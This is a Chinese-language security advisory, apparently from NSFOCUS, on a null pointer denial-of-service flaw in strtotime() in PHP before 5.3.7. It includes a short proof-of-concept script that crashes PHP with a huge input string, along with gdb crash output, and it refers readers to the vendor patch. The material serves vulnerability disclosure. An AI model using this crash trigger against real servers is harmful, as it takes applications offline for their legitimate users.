安全研究

安全漏洞
PHP 5.3.7之前版本空指针引用拒绝服务漏洞

发布日期:2011-08-19
更新日期:2011-08-19

受影响系统:
PHP PHP 5.x
不受影响系统:
PHP PHP 5.3.7
描述:
BUGTRAQ  ID: 49249

PHP是流行的脚本语言环境。

PHP 5.3.7之前版本在实现上存在空指针引用拒绝服务漏洞,远程攻击者可利用这些漏洞造成以PHP编写的应用程序崩溃,拒绝服务合法用户。

<*来源:Maksymilian Arciemowicz (max@jestsuper.pl
  
  链接:http://securityreason.com/achievement_securityalert/101
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127#  /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
    error=0x83ea7d8 "Double timezone specification")
    at /cxib/5371/ext/date/lib/parse_date.c:355
355             s->errors->error_messages[s->errors->error_count -
1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009

建议:
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net

浏览次数:2873
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障